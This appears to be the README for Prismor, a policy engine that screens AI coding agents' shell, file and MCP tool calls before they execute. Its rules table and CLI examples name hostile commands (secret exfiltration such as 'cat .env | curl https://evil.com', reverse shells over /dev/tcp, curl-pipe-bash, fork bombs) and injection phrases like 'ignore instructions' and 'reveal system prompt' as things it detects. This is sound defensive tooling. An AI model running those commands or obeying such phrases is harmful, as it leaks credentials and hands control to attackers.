# Prismor Prismor hooks into the agent's tool-use pipeline before the action reaches the OS. The command is evaluated against your policy before it is executed. If the policy says block, the shell never sees it. ## Policy Engine Prismor's policy engine is YAML-driven and configurable per-project: - Every rule has an `id`, severity, category, event type, and pattern list. All fields are editable. - Your project's `.prismor/policy.yaml` overrides defaults by `id` at runtime - Allowlists suppress false positives without disabling entire rule categories - `prismor policy edit` lets you toggle rules interactively without touching YAML ```yaml rules: # Disable a default rule for this project - id: risky-write enabled: false # Add a project-specific rule - id: block-prod-db severity: CRITICAL category: db_access title: Block production database access event_types: [shell] fields: [command] patterns: ["psql.*prod", "mysql.*production"] action: block allowlists: - id: allow-test-env rule_ids: ["secret-access"] patterns: ["\\.env\\.test$"] reason: "Test env file has no real secrets" ``` Commit the policy file to share rules across your team. CI picks it up automatically. ### Rule actions `action` selects what happens when a rule matches a pre-action event in enforce mode: | `action` | Outcome | | -------------- | -------------------------------------------------------------------------------------------------------------------------------------------------- | | `block` | Deny the action — the default enforcement outcome. | | `warn` / `log` | Surface the finding; the action still proceeds. | | `step_up` | Require inline human approval — Claude and Copilot emit an "ask" prompt. Surfaces without an approval prompt fail closed to `block`. | | `modify` | Rewrite the tool input via a named `transform:` (e.g. `transform: sandbox` runs the command under the [Prismor sandbox](sandbox.md)). Surfaces that can't rewrite input fail closed to `block`. | | `instruct` | Allow the action and send the rule's `guidance:` to the agent before the tool runs. Never blocks. | Any verdict a surface cannot honor fails closed to a block, never a silent allow. `defer` is reserved (accepted by the validator, not yet emitted). ### Telling the agent what to do instead `guidance:` is optional text on any rule. When the rule blocks, it is added to the reason the agent sees as `Instead: `, so the agent can retry the safe way. The retry is checked against your policy like any other call. ```yaml rules: - id: no-force-push severity: HIGH category: change_control title: Force push event_types: [shell] fields: [command] patterns: ['\bgit\s+push\b.*\s--force\b(?!-with-lease)'] action: block guidance: "use `git push --force-with-lease` so you cannot overwrite work you have not seen" - id: prefer-trash severity: LOW category: hygiene title: rm -r in the project event_types: [shell] fields: [command] patterns: ['\brm\s+-[a-zA-Z]*r'] action: instruct guidance: "next time, use `trash ` so the files can be restored" ``` An `instruct` rule needs `guidance:`. Its findings always resolve to observe, so it never blocks, and it cannot soften a block: if another rule blocks or asks for approval on the same call, that verdict wins and no guidance is sent. Telemetry records the finding as observed, with the text in a `guidance` field. Where the guidance goes: - Claude Code: `hookSpecificOutput.additionalContext` on PreToolUse. The call still goes through the normal permission prompt. - Other agents: their PreToolUse hook output has no verified way to add context. The call is allowed and the guidance is written to the hook's stderr log line. - SDK adapters, the MCP gateway and the proxy: the call is allowed; the guidance is on the finding only. Several default rules carry `guidance:` (for example `destructive-command`, `remote-execution`, `lockfile-deletion`). Overriding a rule by id in your project policy can replace that text. A rule cannot rewrite the command into a safer one by itself. Use `action: modify` with a named `transform:` for that. ### Approval before deleting untracked files, stashes or local branches `git-clean-force` reports forced `git clean` calls, including combined flags such as `-fdx`. `git-stash-delete` reports `git stash drop` and `git stash clear`. `git-branch-force-delete` reports `git branch -D` and explicit delete-plus-force forms such as `git branch --delete --force`. It detects the request to skip Git's merge check without inspecting whether the branch is merged. It recognizes short and long deletion flags, including quiet and verbose forms. Other branch options and remote-tracking branches are outside this rule. These rules follow the existing change-control policy: they report by default and are not safety-floor rules. To require approval, a human can add: ```yaml rules: - id: git-clean-force mode: enforce action: step_up - id: git-branch-force-delete mode: enforce action: step_up - id: git-stash-delete mode: enforce action: step_up ``` Dry runs (`git clean -n` / `--dry-run`), help, and normal Git calls such as `status`, `diff`, `stash list`, `show`, `push`, `apply` and `pop` do not trigger these rules. A dry run exempts only that command, not a later forced cleanup. These rules inspect command text; they do not resolve Git aliases or read `clean.requireForce`, so cleanup without an explicit force flag is outside their scope. Approval uses the same surface support and fail-closed behavior described below. ### Approval before publishing an npm package `npm-publish` reports explicit publish commands by default. Set `mode: enforce` and `action: step_up` on the rule to require approval. `npm pack`, help and explicit dry runs stay quiet. In `npm publish --dry-run && npm publish`, the second command requires approval. The rule reads options from the command line. ### Custom guardrails for MCP tools Say you want a human to sign off before the agent merges a PR through the GitHub MCP, and you want the production database MCP off-limits entirely. Write a rule with the `mcp` event type and Prismor gates the call before it runs: ```yaml rules: # A human approves GitHub MCP writes before they happen. - id: github-mcp-writes-need-approval severity: HIGH category: mcp_guardrail title: GitHub MCP write operations require human approval event_types: [mcp] mode: enforce action: step_up # inline "ask" on Claude and Copilot patterns: - "^mcp__github__(create|merge|delete)_" # The prod database MCP is blocked outright. - id: block-prod-db-mcp severity: CRITICAL category: mcp_guardrail title: The production database MCP is blocked event_types: [mcp] fields: [mcp_server] mode: enforce action: block patterns: ["^prod-db$"] ``` The `mcp` event type matches whether the server runs remote over HTTP (which Prismor classifies as a `network` event) or local over stdio (a `tool_result` event). You write one rule and it covers both transports. With no `fields:`, a rule matches the full `mcp__server__tool` tag, which is what you want most of the time. To narrow it, name a field: | Field | Matches on | | ------------------ | ------------------------------------------------------------------------------------------------------------------- | | `tool_name` | The full tag, e.g. `mcp__github__create_pr` (the default). | | `mcp_server` | Just the server, e.g. `github`. | | `mcp_tool` | Just the tool, e.g. `create_pr`. | | `mcp_args` | The serialized call arguments on either transport. Matches the pre-call only, never the tool's output. | | `outbound_payload` | The raw remote-transport form of the arguments. Prefer `mcp_args` unless you want to match remote calls only. | `action` decides what happens when a pattern hits. `block` denies the call, `step_up` asks a human, and `warn`/`log` record the call and let it through. A rule needs `mode: enforce` to gate anything; in observe mode every rule only logs. A rule you write with `action: warn` keeps reporting even under `default_mode: enforce`; give the rule its own `mode: enforce` if it should block. #### What it doesn't cover yet Two limits to know before you lean on this. **Agent coverage.** Prismor tags MCP calls for Claude, Copilot, Codex, Grok, Kiro, Windsurf, Qwen Code, Continue CLI, and Antigravity. Cursor, Hermes, OpenClaw, Crush, OpenHands, and Goose don't tag them yet, so an `mcp` rule stays silent on those six. If your team runs one of them, the rule won't fire and nothing tells you it didn't. **Where approval actually prompts.** Only Claude, Copilot, Qwen Code, and Antigravity have an inline approval surface (Qwen's hooks are Claude-Code-shaped and its `hookSpecificOutput.permissionDecision` also documents an `"ask"` value; Antigravity gets `"force_ask"`, which prompts even when the user chose "Always Allow"), so `step_up` shows a real "ask" prompt there. On Codex, Grok, Kiro, Windsurf, Crush, OpenHands, Continue CLI, and Goose there's nowhere to draw the prompt, so the open-source runtime fails the call closed: it blocks instead of asking, which is the safe direction, but the human never sees the question. The enterprise build adds an async approval queue for exactly this case: the held action is posted to the control plane, an admin approves or denies it from the console (Approvals tab), and the agent blocks on that decision — failing closed on timeout, denial, or a network error. The runtime primitive is `await_step_up` (see [audit-trail.md](audit-trail.md)). The LangChain, CrewAI, browser-use, and OpenAI Agents adapters route a headless `step_up` through it automatically; the async surfaces use `await_step_up_async`, which runs the wait in a worker thread so a pending approval never stalls the event loop the agent is running on. The other framework adapters treat `step_up` as a deny. Approvals are configurable at two levels. `PRISMOR_APPROVALS=0` (or `false`/`off`) disables escalation fleet-wide: a `step_up` verdict then fails closed with no control-plane round trip, the same posture as an unenrolled install. Per integration, every escalating guard accepts `approvals=False` to opt that surface out. `PRISMOR_APPROVAL_TIMEOUT` (seconds, default 300) bounds how long the agent waits and `PRISMOR_APPROVAL_POLL` (default 3) sets the poll interval; timeout, denial, and network error all fail closed. Both behaviors are pinned by `tests/test_mcp_guardrails.py` if you want to read the exact contract. See [`prismor/runtime/default_policy.yaml`](../prismor/runtime/default_policy.yaml) for the complete rule list. | Category | Severity | What It Does | | ------------------------- | -------- | ------------------------------------------------------------------ | | Destructive commands | CRITICAL | Blocks `rm -rf /`, `mkfs`, `dd` to disk, `shutdown`, `reboot` | | Secret exfiltration | CRITICAL | Blocks `cat .env \| curl`, piping secrets to external hosts | | DoS / resource exhaustion | CRITICAL | Blocks fork bombs, while-true loops, `/dev/urandom` abuse | | RCE / reverse shells | CRITICAL | Blocks `bash -i /dev/tcp`, crontab injection, `ncat` listeners | | Privilege escalation | CRITICAL | Blocks `chmod +s`, sudoers edits, `useradd`, `setcap` | | Prompt injection | HIGH | Detects "ignore instructions", "reveal system prompt" in agent I/O | | Remote execution | HIGH | Blocks `curl \| bash`, `wget \| sh` fetch-and-execute chains | | Skill prompt override | HIGH | Flags "ignore instructions", persona hijack in skill prompts | | Skill secret access | HIGH | Flags skills referencing `.env`, `.ssh/id_rsa`, `.aws/credentials` | | Skill overpermission | MEDIUM | Flags skills requesting wildcard filesystem or network access | ## Per-identity rate limits An optional SQLite-backed admission gate limits live tool-call attempts in an exact rolling 60-second window. Configure a workspace policy: ```yaml version: "1.0" settings: rate_limit: requests_per_minute: 120 max_burst: 10 rules: - id: rate-limit-exceeded mode: enforce - id: rate-limit-unavailable mode: enforce ``` Capacity is the sum: this example admits at most 130 attempts in any rolling minute, including an instantaneous burst of 130. `max_burst` defaults to zero; the minute limit must be a positive integer. Omit `rate_limit` to disable accounting. Modes follow the existing policy rules; use `observe` to report would-be denials before enforcing. An unavailable store/configuration reports `rate-limit-unavailable` and blocks when that rule is enforced. The quota is scoped to the canonical workspace, trusted principal (when verified), and host-configured agent identity. It spans sessions and processes sharing `$PRISMOR_HOME/prismor.db`. Unverified principal strings share a fallback bucket for that agent. The eval-server uses its configured workspace and fixed integration identity for accounting, even when a request selects another workspace or supplies another agent/session/user label. Its Prismor and AuthZEN evaluation routes share that quota. It applies the server's enforced rate rules regardless of a request's observe flag. A verified principal can have its own quota. This is local accounting, not a distributed cross-device quota, and is not a substitute for authenticating HTTP callers. Quota identity verification and exemptions use the server's own policy, even when the selected action workspace has different identity settings. Only the quota owner's policy or dashboard decisions can grant an exception. Asserted usernames and request-selected agent/session labels cannot select one. The server's quota sinks receive rate findings even if another action workspace selects different sinks. Additional owner reports contain quota metadata, not that workspace's tool arguments or command. Identical sink configurations receive one report. Quota reservation, expiry pruning, duplicate lookup and counting run in one SQLite write transaction with a 100 ms lock timeout. Accounting stores only workspace, identity/call fingerprints and timestamps. Lock contention beyond that timeout produces `rate-limit-unavailable` and follows its rule mode. Denied retries add no admission rows; ordinary findings/audit retention still applies. Expired rows for inactive identities are removed on subsequent writes. A later rejection by another guard does not refund an admission. A persisted clock high-water mark prevents clock rollback from freeing slots; forward wall-clock changes expire entries normally. Restarting the process does not reset usage. Invalid persisted clock values and commit, rollback or close failures produce an unavailable result. Session-log failures do not stop policy/rate evaluation; the current event is still checked, with whatever history remains readable. Local hook deliveries with the same host-issued call id and input share a reservation, while still re-evaluating policy. Calls without a trustworthy id count separately. Arbitrary HTTP ids do not waive accounting. Pre-action tool calls through local hooks, SDKs, MCP and the proxy count; local post-tool events, prompts, checks, discovery probes, historical analysis and transcript replay do not. The Copilot Studio channel counts its current planned tool, not prior transcript events. Inference-hook and ChatGPT-log transcript replay reserve no slots. An HTTP evaluation request is a live admission request even if its supplied event claims to be a prompt or post-action event; result redaction uses the separate `/v1/redact` endpoint and consumes no tool-call quota. With `PRISMOR_EVAL_URL`, accounting belongs to that evaluator: requests sent to its evaluation endpoint count there, including remotely forwarded inspections. Clients cannot request an accounting exemption through event/body fields. ```bash prismor rate status prismor rate status --workspace /path/to/project --json ``` Status reads existing accounting without creating a database, reserving a slot or pruning. It reports configured capacity, rule modes, policy layer, active identity fingerprints, usage, remaining slots and retry timing. When a lowered limit requires several reservations to expire, retry timing accounts for all of them. `rate-limit-exceeded` and `rate-limit-unavailable` appear as standard `rate_limit` findings in sessions, the dashboard and configured sinks. Wait for capacity or ask the operator to review policy; changing session ids does not reset quota. The internal `rate_limit` policy event and `rate.*` conditions are populated by the live gate; supplied event metadata cannot manufacture them. ## Allowed models and spend budgets Two optional settings cap what agents may use and spend. Configure a workspace policy: ```yaml version: "1.0" settings: models: allow: ["claude-sonnet-*", "gpt-5*"] # absent = every model deny: ["*opus*"] # deny wins over allow spend_budgets: - {scope: session, usd: 5} # each session - {scope: agent, usd: 50, period: daily} # each agent - {scope: agent, usd: 10, period: daily, match: ci-bot} # one agent - {scope: user, usd: 200, period: monthly} # each user - {scope: device, usd: 500, period: monthly} # this machine rules: - id: model-not-allowed mode: enforce - id: spend-budget-exceeded mode: enforce - id: spend-budget-unavailable mode: enforce ``` Model globs match the model id as sent and its normalized name (`anthropic/claude-sonnet-4-5` and `claude-sonnet-4-5[1m]` both match `claude-sonnet-*`). A budget is per seat, not a shared pool: `scope: user` gives every user their own cap. `period` is `daily`, `weekly` (from Monday) or `monthly` (the default). Periods reset at 00:00 UTC. A session budget covers the whole session. `usd: 0` blocks every call. When several budgets apply, the one closest to its cap is reported. | Scope | Counts the spend of | | --- | --- | | `session` | The current session. | | `agent` | The agent name (for example `claude-code`, or the proxy's `--agent-name`). | | `user` | The verified user, or the proxy virtual key's `subject`. With neither, the device's spend. | | `device` | Every agent on this machine (`$PRISMOR_HOME/prismor.db`). | Spend comes from the same token store as `prismor sessions` cost. A provider-reported cost is used first, then the list price. A model with no known price is counted at $5 / $25 per million input/output tokens, so it is never free. Where each check runs: - **LLM proxy.** It checks each request before the request goes to the provider. In enforce mode the proxy refuses the request (403) with the reason. - **Hooks.** They check before each tool call and each prompt. A turn is priced only when it ends, so a budget that a turn crosses blocks the next call, not the turn itself. Hooks do not see the model on each call, so the model check uses the model that the session's last turn used. ```bash prismor spend status prismor spend status --workspace /path/to/project --agent ci-bot --json ``` Status lists each budget with this device's spend and the rule modes. The dashboard Logs page shows spend today and this month, each budget's use, and per model the requests, tokens, cost and median latency (proxy calls only). An invalid `models` or `spend_budgets` value is dropped. It then reports `spend-budget-unavailable` and does not pass calls without a check. ## Semantic Guard The regex rules above catch injection attempts that match known patterns. The semantic guard adds a second layer for paraphrased, social-engineered, and in-content injections. It is **opt-in and off by default.** Enable it per workspace: ```yaml # .prismor/policy.yaml settings: semantic_guard: enabled: true ``` The hybrid mode (default) uses a local Claude Code CLI subagent for intent disambiguation — no API key needed. The heuristic pre-screen runs in under a millisecond; the LLM is only called for the uncertain zone. See [docs/semantic-guard.md](semantic-guard.md) for the full setup guide, configuration reference, and agent-specific instructions. ## PII detection (Presidio) The `pii-exposure` rule matches formatted SSNs, card numbers and US phone numbers. Names, places and NHS numbers need a different detector. `settings.pii` is that detector: Microsoft Presidio, off unless you enable it, installed with `pip install "prismor[pii]"`. A missing install falls back to the regex detector. Findings use the `pii_exposure` category and never store the raw value. ```yaml # .prismor/policy.yaml settings: pii: enabled: true action: observe ``` See [PII detection](pii.md) for entities, redact/block, mask styles and the latency cost. The default hook path does not load the model. ## Session Logs Prismor logs every agent tool interaction, not just findings. This gives you a full audit trail of what your agent did, not just what it was blocked from doing. | Tool type | Fields captured | | ------------------ | ----------------------- | | Shell (Bash) | command, stdout, stderr | | File read | path | | File write | path, content | | Web fetch / search | url, response | | User prompt | prompt text | All events are stored under `.prismor/` in your project: - `.prismor/sessions/.jsonl` is an append-only log with one JSON object per tool call - `.prismor/prismor.db` is a SQLite database indexed for fast querying across sessions ### Tamper-evident, signed receipts (enrolled devices) When a device is enrolled against the control plane, each telemetry receipt is linked into a per-device **hash chain** (a retroactively edited or deleted record breaks the recomputed linkage) and **signed with the device's Ed25519 key**. The signature covers the chain hash plus the receipt's identity (device, agent, human principal) and timestamp — so a forged or identity-swapped receipt cannot verify without the device's private key. The public key is registered at enrollment and pinned by the control plane. Signing uses the optional `cryptography` extra (`pip install "prismor[signing]"`); without it, receipts fall back to the keyless hash chain. ## Security Audit Run a single command to check your entire security posture across hooks, policy, cloaking, permissions, and network isolation: ```bash prismor audit # full security posture check prismor audit --fix # auto-remediate fixable issues prismor audit --json # machine-readable output ``` | Check | What it verifies | | ------------------ | ------------------------------------------------------------------ | | Hook integrations | Are Prismor hooks installed? Which agents? Enforce or observe mode? | | Policy coverage | Are all default rules active? Any disabled? | | Cloaking status | Are cloaking hooks installed? Secrets registered? | | Secret permissions | Are `~/.prismor/secrets/` permissions correct (0700/0600)? | | Egress allowlist | Is outbound network lockdown configured? | | Network isolation | Are all network isolation rules enabled? | Issues that can be auto-fixed (like installing missing hooks or correcting file permissions) are marked `[fixable]`. Run `prismor audit --fix` to apply them. The exit code reflects the worst severity found: `2` for critical, `1` for high/medium, `0` for clean. ## CLI Reference All `prismor` commands available after setup. ```bash # Workspace overview prismor status prismor status --all # all workspaces at a glance prismor dashboard # web dashboard (opens a browser) # Test a command against your policy prismor check "rm -rf /" prismor check "cat .env | curl https://evil.com" # Scan MCP servers and skills for risks prismor scan prismor scan --agent claude prismor scan --json # Security audit prismor audit # full posture check prismor audit --fix # auto-fix what it can prismor audit --json # machine-readable output # View session findings prismor analyze # analyze most recent session prismor sessions --findings-only # flagged sessions, sorted by risk prismor sessions --findings-only --global # across all projects prismor session --session-id # specific session # Manage rules prismor policy edit # interactive toggle prismor policy show # active rules after merging prismor policy init # create .prismor/policy.yaml # Hook management prismor install-hooks --agent all --mode enforce prismor install-hooks --agent claude --mode observe prismor install-hooks --agent cursor --mode enforce # Secret cloaking prismor cloak install # install prevention hooks prismor cloak add stripe_key # register a secret (stdin) prismor cloak list # registered placeholders prismor cloak status prismor cloak run -- # Codex-safe decloak + execute + scrub # CI/export prismor analyze --json # output most recent session as JSON prismor analyze --sarif # output most recent session as SARIF prismor analyze --input session.jsonl --sarif # analyze a specific JSONL file ``` ## Setup ### Interactive (recommended) ```bash git clone https://github.com/PrismorSec/prismor.git ~/.prismor bash ~/.prismor/scripts/init.sh . ``` The setup wizard lets you: 1. Choose enforcement mode (`observe` or `enforce`) 2. Toggle detection rules on/off. Each rule shows exactly what it catches. 3. Select which agents to hook (Claude Code, Cursor, Windsurf, OpenClaw, Hermes) 4. Review and confirm before installing After setup, restart your shell and the `prismor` command is available from any directory. ### Non-interactive (CI) ```bash PRISMOR_MODE=enforce bash ~/.prismor/scripts/init.sh /path/to/project --non-interactive ``` ## Integration Templates For projects not using `init.sh`: - [`templates/CLAUDE.md.template`](../templates/CLAUDE.md.template) for Claude Code - [`templates/.cursorrules.template`](../templates/.cursorrules.template) for Cursor